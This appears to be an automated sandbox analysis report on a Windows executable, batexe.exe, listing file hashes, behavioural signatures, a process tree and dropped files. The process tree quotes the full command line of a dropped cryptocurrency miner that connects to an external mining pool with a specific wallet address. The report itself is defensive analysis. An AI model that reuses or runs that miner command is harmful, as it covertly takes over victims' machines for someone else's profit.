Analysis

  • max time kernel
    300s
  • max time network
    302s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    13/02/2024, 12:17

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1704
    • C:\Users\Admin\AppData\Local\Temp\9B94.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\9B94.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9B94.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2284
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A3E1.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1592
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:3308

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\9B94.tmp\b2e.exe

          Filesize

          12.2MB

          MD5

          279b7a8422da571481fe522c5af327ef

          SHA1

          bf285b9e4d2ac5fcc1289c11397e90e04d7b7aa7

          SHA256

          4078b4647158a788fa26bc35bb411ec84a087c1649ef475368a82e29efa0d6ac

          SHA512

          0c45af14d45633582326e7f0f274eb1a6d8923b716faf9422fc764f4369e1261171ae069884c6736c89ca73d25aeac1d50a758d139dc3d2cfd3f9b68cc2e49f0

        • C:\Users\Admin\AppData\Local\Temp\9B94.tmp\b2e.exe

          Filesize

          896KB

          MD5

          1f22d8bf5f6c3dda3e880ea1ba0417d4

          SHA1

          2a8dbf2319999a894714bdea650eb5be32c64c19

          SHA256

          afb7da96abe31529f462178372c48627a7e681e3c18cd2196aec8beee07f5b96

          SHA512

          217b89f6a74039807c135539482b1a769d715190f7756e2b0162a33da3d8ada909b80ca3fc1596e542f163f6a45726282997f4e52a36c352cc89b9e58c1e6e05

        • C:\Users\Admin\AppData\Local\Temp\9B94.tmp\b2e.exe

          Filesize

          3.6MB

          MD5

          a202c43df284047b4026052f2015b382

          SHA1

          531129cc3cff7410080574b0fd1f8404c8c343d6

          SHA256

          22e0189ee48633fcbb780d8ce081c027adcfd289ce6b90e0dddf506b78a59a66

          SHA512

          03192f196ccd2100255c1fad56bd14019876f87509f7215f1af469e93a9e4a8686d7bd18a1273d46e05711d1017a87948b4299a6d4597fa66001b29ee310cea2

        • C:\Users\Admin\AppData\Local\Temp\A3E1.tmp\batchfile.bat

          Filesize

          136B

          MD5

          8ea7ac72a10251ecfb42ef4a88bd330a

          SHA1

          c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

          SHA256

          65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

          SHA512

          a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

          Filesize

          2.3MB

          MD5

          4c04147c386ba8792ac6a03069572a8a

          SHA1

          dda67789fc1d0f2469ca95f01a5c81034853ca6a

          SHA256

          c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

          SHA512

          a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

        • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

          Filesize

          836KB

          MD5

          aeab40ed9a8e627ea7cefc1f5cf9bf7a

          SHA1

          5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

          SHA256

          218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

          SHA512

          c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

        • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

          Filesize

          1.2MB

          MD5

          7cf672bee2afba2dcd0c031ff985958e

          SHA1

          6b82a205db080ffdcb4a4470fce85a14413f3217

          SHA256

          c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

          SHA512

          3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          5.6MB

          MD5

          7437e1a971bed675d29e8d5361d8178e

          SHA1

          1ffd767fb3a0a6a97a54940961cc3db5977d4cab

          SHA256

          53cade2ce52d4f5e1951189d296cf66a1dde4cb3816977b8d3ebaf75ff9b58c1

          SHA512

          4c161d6a3b30a46d6e4f3932506f2fa4d38c8565a05306b40f90137b331469ebb6c0b1fd42a5b064c01c7e690eb931c3e7bf0a3f3b3d24395136ea00d0ec5d0c

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          7.7MB

          MD5

          62f7d2cd3a3595de7df5a64285232393

          SHA1

          4aaf0508b7cdfae05d97c17640c39fd5fbc0ae3a

          SHA256

          5570444a6c73a1938d3e32d21d014a9e8ff677ff470dbc27871e75fd5bde9b1f

          SHA512

          7821fcc1defba477fa42c6cfd1912a9b7b6a66c390726726808c62e13e8f7d2fa4bd0cf052f18445cf8e07567e54219f6302e051e4707dd59677695b28ca7552

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          6.4MB

          MD5

          d40542cd356bd631806e3960d27ee75e

          SHA1

          2d7985a97d42c428aa9b5e9086637c78765c7a57

          SHA256

          8cd4b461a5d0ae526f7c0b463b81d6914e2667d2ce85e4f426fe8779b1928927

          SHA512

          d1c257e00ad919ec0076fa862fb1cf6c015d7db2258322f9d285800545da8d71ae15916a664472526aaed01e4bef471abe3549f509f8e239f9d36851fefc40bf

        • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

          Filesize

          606KB

          MD5

          585efec1bc1d4d916a4402c9875dff75

          SHA1

          d209613666ccac9d0ddab29a3bc59aa00a0968fa

          SHA256

          2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

          SHA512

          b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

        • memory/1704-9-0x0000000000400000-0x000000000393A000-memory.dmp

          Filesize

          53.2MB

        • memory/2284-7-0x0000000000400000-0x0000000000405000-memory.dmp

          Filesize

          20KB

        • memory/2284-53-0x0000000000400000-0x0000000000405000-memory.dmp

          Filesize

          20KB

        • memory/3308-44-0x0000000070800000-0x00000000708BC000-memory.dmp

          Filesize

          752KB

        • memory/3308-45-0x000000006D880000-0x000000006D918000-memory.dmp

          Filesize

          608KB

        • memory/3308-46-0x0000000061440000-0x000000006156B000-memory.dmp

          Filesize

          1.2MB

        • memory/3308-47-0x0000000001010000-0x00000000028C5000-memory.dmp

          Filesize

          24.7MB

        • memory/3308-48-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/3308-43-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/3308-59-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/3308-64-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/3308-74-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/3308-79-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/3308-84-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/3308-89-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/3308-94-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/3308-99-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB